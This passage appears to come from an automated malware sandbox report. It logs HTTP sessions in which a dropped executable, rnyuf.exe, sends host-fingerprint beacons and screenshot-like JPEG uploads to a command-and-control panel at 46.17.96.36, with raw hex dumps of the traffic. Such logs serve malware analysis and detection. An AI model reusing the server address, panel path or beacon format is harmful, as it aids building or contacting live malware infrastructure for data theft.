Aug 29, 2021 22:28:56.503443003 CEST	16732	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:56.503452063 CEST	16735	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:56.503577948 CEST	16747	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:56.503607035 CEST	16752	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:56.536022902 CEST	16756	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:56.536097050 CEST	16758	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:56.644303083 CEST	16823	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49762	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:22.545932055 CEST	3933	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:22.546041965 CEST	3933	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:22.546282053 CEST	3943	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:22.546411037 CEST	3946	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:22.581538916 CEST	3951	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:22.581578970 CEST	3954	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:22.581640005 CEST	3966	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:22.581664085 CEST	3969	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:22.581890106 CEST	3971	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:22.616903067 CEST	3977	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:22.617016077 CEST	3987	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:22.728499889 CEST	4041	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.4	50009	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:56.511307955 CEST	16753	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:56.590312004 CEST	16822	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.4	50010	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:56.850095034 CEST	16824	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:56.929399014 CEST	16824	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:28:57.057188034 CEST	16824	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:57.061182976 CEST	16825	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:57.061398029 CEST	16835	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:57.061583042 CEST	16837	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:57.093794107 CEST	16840	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:57.093832970 CEST	16843	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:57.093961954 CEST	16848	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:57.094027042 CEST	16864	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:57.126703978 CEST	16869	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:28:57.126864910 CEST	16875	OUT	Data Raw: bd cd ae 3c d4 1d b3 fc fd fd 2b e7 40 4a b0 65 24 10 72 08 ed 5b e9 e2 5b 88 35 7b 4d 72 16 ff 00 4e 55 09 72 bd 04 d8 00 64 ff 00 bc 3a fb 8c f7 15 d7 88 ca 60 dd e9 e9 a7 e3 ff 00 07 f3 38 f0 f9 b4 d2 b5 4d 75 fc 3f e0 7e 47 4b f1 0b fe 48 b6 Data Ascii: <+@Je$r[[5{MrNUrd:`8Mu?~GKH^k~!+kgu]1R4(R){RR-wZbaKIJ(ZJ)8S%p!mpm:ZAKTH)i)E4KO)T`ii-PpA"
Aug 29, 2021 22:28:57.126957893 CEST	16901	OUT	Data Raw: a6 5e 1f f4 d9 bf df 34 fd 13 9d 5a 1f ad 47 79 ff 00 1f b3 7f be 6b 9f fe 5f 3f 42 e5 fc 2f 99 0d 06 81 41 ad 8e 71 69 45 34 75 a7 50 21 68 a2 8a 42 16 8e f4 51 48 43 85 14 dc d2 83 48 05 a2 8a 28 10 b4 51 45 00 2d 2d 25 02 90 87 53 d3 ef 0a 8e Data Ascii: ^4ZGyk_?B/AqiE4uP!hBQHCH(QE--%S:`[N<cyy^/,f@[:2ra~+_b4fNKNOA8RRfMe!Gjx-)RNZ@i9!SC-p
Aug 29, 2021 22:28:57.230155945 CEST	16932	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.4	50011	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:57.284671068 CEST	16932	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:57.367538929 CEST	16933	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.4	50012	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:57.606739044 CEST	16934	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:57.683044910 CEST	16973	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.4	50013	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:57.615484953 CEST	16934	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:57.615686893 CEST	16934	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:57.615931034 CEST	16944	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:57.616096020 CEST	16947	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:57.651367903 CEST	16950	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:57.651402950 CEST	16958	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:57.651556969 CEST	16967	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:57.651572943 CEST	16972	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
